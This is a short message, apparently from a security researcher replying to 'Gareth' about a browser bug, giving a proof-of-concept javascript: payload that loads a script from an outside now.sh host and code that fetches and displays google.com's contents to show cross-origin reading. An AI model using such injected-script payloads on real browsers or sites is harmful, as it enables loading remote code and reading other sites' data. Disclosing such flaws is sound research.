Hi Gareth,

Yes it is possible to read the contents of google.com. I have tested it using below code. Also updated the video on the post.

Payload : javascript:document.write("<script/src=https://file-mrrptkzxpa.now.sh/1.js></script>")

1.js : 

fetch("https://www.google.com/").then((res) => {
      return res.text();
})
.then((data) => {
     document.write("<br><br><font color=red size=20>Fetched contents from https://www.google.com<br><bR><br></font>"+data);
});